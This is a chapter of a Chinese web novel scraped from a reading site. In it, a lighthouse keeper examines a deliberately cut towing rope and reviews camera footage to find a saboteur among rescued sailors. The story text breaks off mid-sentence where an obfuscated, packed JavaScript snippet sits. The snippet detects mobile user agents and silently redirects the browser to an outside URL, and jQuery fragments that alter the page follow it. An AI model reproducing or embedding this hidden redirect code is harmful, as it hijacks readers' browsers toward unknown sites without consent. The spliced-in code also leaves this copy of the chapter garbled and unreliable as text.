默认冷灰
24号文字
方正启体

30. 第 30 章

作者:七口七本书字数:K更新时间:
    轰鸣的机翼如同风雨中振翅的小鸟,渐行渐远,江迟迟的小船被留在漆黑海面上,如同渺小宇宙中的一粒星砂,继续破浪前行。


    “时相儒,告诉直升机,灯塔上有备用电源,让他们接上电了再返回南港。”


    从清洲岛到南港还有七、八公里的路程,直升机在这种天气速度不快,还是先在岛上连上电源比较稳妥。


    “好,电源已经接上了,他们在检查...嗯,冷藏箱重新启动了。”


    “太好了!”江迟迟不由自主地发出欣慰的尖叫,“太感谢你了,时相儒。”


    “没事...”对面男人的声音有些扭捏,“那,你什么时候回来?”


    “我大概还要十分钟。”


    现在没了送货的压力,江迟迟把船速降了一些,要知道,在波涛汹涌的海面上开得越快,船体倾斜侧翻的危险就越大。


    “好,我等你。”


    通讯挂断,江迟迟收好对讲机,身后传来小陈幽幽的声音,“那个...为什么不让我上直升机啊?”


    “大副来回抬了那么多次箱子,身体吃不消。”江迟迟盯着浩瀚汪洋,头也不回地解释,“让他跟着直升机先回南港,还能顺便看看医生。”


    “可是,我也受伤了啊。”小陈揉了揉自己屡屡被撞的后背,声音像撒娇,“还疼着呢...”


    “...你是年轻人,让让他吧。”


    “好吧。”


    小陈闷闷不乐地坐回船舱。


    三副还在喋喋不休地执着于自证清白,“喂,摄像头在哪儿呢!我怎么没看见?!”


    经历了那么多凶险的时刻,骤然间轻松下来,江迟迟神色有些疲惫,“回岸上了就告诉你。”


    精瘦的男人有些烦躁,在船舱里踱来踱去,直到被另一道小浪掀翻,才消停了会儿,倚着坐在船角。


    马达轰鸣声中,灯塔的光亮越来越明晰。时相儒站在港口翘首以盼,终于望见熟悉的船身缓缓驶出黑暗。


    “到了,你们先下去,找个地方躲雨,我把船系好,随后就来。”


    小陈想上前帮忙,“要不我和你一起吧,雨这么大,留你一个小姑娘...”


    “不用了。”江迟迟一口回绝,“有人陪我。”


    时相儒扯着系船绳,在瓢泼大雨的洗礼下将江迟迟的小船牢牢系在港口的系船柱上。


    眼见着小陈和三副都下了船,江迟迟才走到船尾,扯下一截东西,放进口袋里。


    “迟迟,这里!”


    时相儒护着她冲出雨幕,跑到最近的一处屋檐下,跟小陈和三副汇合。


    四人围在一处,江迟迟简单和时相儒讲述一通海上的情况。


    “海岸警卫队的主力应该都往船上去了,只能分出一只小队来岛上接你们。”时相儒跟对面通过电话,对他们的安排比较清楚,“既然你们这里不着急,估计得等到天亮之后他们才能到。”


    那这几个小时之内,怎么安置小陈和三副?


    总不能一直躲在这港口的屋檐底下吧,风还很大呢。


    两个不熟悉的大男人,江迟迟也不好把他们往家里引。


    住旅馆?那这钱又是谁来出比较合适?况且要是两人在旅馆出了意外,责任又由谁来担?


    思来想去,江迟迟提议,“要不去岛上的派出所问问吧。”


    俗话说的好,有困难,找警察,或许能给他俩安排个休息过夜的地方。


    三副一听这话就炸毛了,像只应激的猫,张牙舞爪地咆哮,“派出所?!你什么意思,要报警抓我是吗?!我做什么事儿了,让你要报警!”


    小陈缩在后头不说话,看表情也是不满意这个安排。


    既然如此...


    “那就去岛上的政府办公室吧。”江迟迟道,“那儿应该有临时接待客人的休息室。”


    这个提议靠谱一点,三副和小陈不情不愿地答应了。


    等把两人安置好,时钟慢悠悠地指向“3”。江迟迟一夜没睡,又经历了高强度的思维和体力双重考验,此刻已经疲惫得四肢无力,恨不得就地躺下睡着。


    这风雨一点减小的趋势都没有,江迟迟怕海上再生祸端,还想去塔上守着,硬是被时相儒劝了回去。


    “塔上有我,你回家休息,明天再来。”


    江迟迟知道自己几斤几两,也不硬撑,叮嘱好塔上的一些注意事项,独自回家。


    简单梳洗后,江迟迟卧在床上,点亮手电筒,从外衣里掏出她带回来的一截尼龙绳。


    正是船上那截断裂的系船绳。


    就着手电筒聚焦的光,江迟迟细细打量着断裂接口。


    接口的下半圆处,尼龙纤维参差不齐,有长得被拉伸得很长,甚至被拉成了细丝状,有的则短如牛毛,整体看上去像野外蓬勃生长的杂草,犬牙交错,乱七八糟。


    而接口的上半圆,尼龙纤维被切割成整整齐齐的茬头,像修剪整齐的草坪,尖端凝结着咸湿的盐粒。


    江迟迟心中的猜想被证实。


    这段牵引绳是被人为割断一半之后,才会不堪重负地断在海上!


    她明明记得,尼龙绳最为结实,她父母用同一牌子的尼龙绳在海上牵引过更重的船只,绳子都安然无恙,从来没断过,更何况这条绳子还是她为了预防本次台风特意换的新绳,怎么会一用就断?!


    当时在海上,风暴呼啸之中,江迟迟来不及思索这么多,只隐隐觉得不对劲。等到直升机轰鸣而来,小陈抢着要上去的时候,她才突然间反应过来。


    大副、三副、小陈,一定是他们之中的某一人割断了绳子。


    江迟迟下意识地首先排除大副。他为了搬货箱,连命都可以不要了,何必切断绳索,自找麻烦呢。


    剩下三副和小陈,江迟迟拿不准是谁。


    但有一点是可以确认的,割断绳索的人肯定不想让药物安全转移上岸,因此,江迟迟当机立断,把小陈从直升飞机上拉了下来,换上她信任的大副。


    至于究竟谁才是叛徒...


    江迟迟看向一旁的铁疙瘩,心中庆幸,还好临走之前她戴上了时相儒送她的运动相机。


    这相机极小一个,挂在胸前,黑色的机身嵌在救生衣里也不显眼,估计那三人都没发现,今晚的一举一动都被她全程录了下来。


    真是无心插柳柳成荫。


    江迟迟取下相机内存卡,插.进电脑里,查看录像。


    相机一共录了51分钟,从时相儒劝她开始,到海上救人,再到直升机带着货箱飞走,都录得清清楚楚。直到他们的船快上岸了,相机的电量终于耗尽,自动保存好视频后,关机。


    江迟迟点开录像。


    时相儒的帅脸扑面而来。


    男人眼眶哭肿,脸上的焦急如有实意,绝望得叫人心疼。


    江迟迟手速飞快地...截图。


    这可是哭包时相儒!!多么难得的画面!


    江迟迟手上不停,调整不同角度,疯狂截图,统统存进电脑里。


    等到视频中的人夺门而出,她才想起来自己还有正事要干。


    将进度条拉到救生艇靠近的时间点,视频中的江迟迟一把将抛绳器射向对面的救生艇,大副抓住绳索后,手脚麻利地系在救生艇顶部的横梁上。


    江迟迟放大画面,调整慢速,相机的夜景拍摄能力一般,画面有些糊,但勉强能看清大副的动作。他手上干劲利落,一看便是颇有经验的老水手,将尼龙绳牢牢系好,没有其余小动作。


    看来,绳子在这时还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005021|161146||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是完好的。


    江迟迟再将进度条拖动到三人跳船的时候。


    三副第一个跳,两船之间的距离不到两米,对一个成年男人来说不算太难,更何况中间还有一道绷紧的绳子。只见三副向后退了几步,微微助跑之后腾空而起,右手只在绳索上浅浅搭了一下作为借力,便轻松跳到小船上。


    看起来也不太像他。


    接着就是小陈。


    小陈的水性明显不如三副,他右手在牵引绳上攥了许久,来来回回地磨蹭,说不准他是真的害怕,还是想趁着这个机会做些手脚。


    小陈嫌疑很大。


    最后是大副。他双手抬着货箱,几乎没碰到过牵引绳,更遑论割断它。不可能是大副。


    依照目前的情况,最有可能割断绳子的人,就是小陈了,这刚好也能解释为什么他抢着想上直升飞机。


    但他为什么要这么做?


    江迟迟百思不得其解。


    如果说小陈的目的是阻止货箱被运送上岸,那他下手的机会很多。比如,大副向江迟迟抛送货物的时候,江迟迟把腰间的安全绳交给了小陈,他大可以假装力不从心地松手,如此一来自己和货物都会落入海里,何必苦苦撑着将她拽上岸呢。


    江迟迟能想到的唯一解释就是,这样做太显眼了,事后如果被追责,小陈头一个跑不掉。而割断绳子的手法神不知鬼不觉,如果不是江迟迟福至心灵,根本没人会发现一截断掉的绳子究竟是被大力扯断的,还是被人悄悄割过一截。


    而如果真是小陈所为,那船舱里冷藏箱莫名其妙的泄漏就有迹可循了。


    她提前告诉过三副,船舱里有摄像头实时拍着,他应该不会犯蠢至此,当着监控的面弄坏冷藏箱。


    如果排除冷藏箱在颠簸过程中的自然脱落的情况,最大的凶手就是开箱的小陈。


    小陈那时并不知道船舱里有摄像头这件事,所以他趁着检查的时机,故意打开冷藏箱的门,再将这件事推到一直不作为的三副头上。


    在当时的情况下,明显满肚子坏水的三副更有嫌疑。


    江迟迟惊觉,自己好像发现了什么了不得的事。


    深夜里,南港海事局的电话响起,值班的小科员昏昏欲睡,没精打采地接起电话,以为又是什么渔民之间的纠纷琐事。


    话筒里的女孩儿语气冷静,缓缓吐出今晚发生的事。


    小科员震惊地从红木椅上一蹦而起,连忙拨通大领导的内线电话。


    天蒙蒙亮时,两架直升机轰鸣着螺旋桨,降落到清洲岛政府前的空地上。全副武装的海警破门而入,将小陈和三副从床上捉了起来。


    时相儒听见动静,连忙跑到政府门前,只见穿戴整齐的江迟迟站在一边,睡眼惺忪地看着海警拿人,身旁还站着一位头发花白、气度不凡的中年男人。


    “迟迟,这是怎么回事?”


    时相儒上前,将女孩儿护在身后。


    那中年男人身穿一套笔挺的中山装,白发打理得一丝不苟,岁月在他鬓角染上霜色,反倒衬出几分沉稳与威严。他眼神锐利如鹰,扫视时相儒,语气低沉,却极具穿透力。


    “这位是?”


    江迟迟的声音中带了些没睡醒的黏糊,“嗯...他是我的...男朋友,时相儒。”


    她转头给时相儒介绍身边的男人:“阿儒,这位是南港海事局的钟局长。”


    “钟局长,您好。”时相儒不卑不亢地打招呼,“请问这里发生什么事了?那两个似乎是迟迟昨晚从海上救下来的人。”


    钟楚昭脸庞线条刚硬,目光尖锐,声音如洪钟般浑厚锋利。


    “江迟迟昨晚玩忽职守,导致一批重要的货品未能按时送到,给国家造成巨大损失。今天我就要带她回局里受罚。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)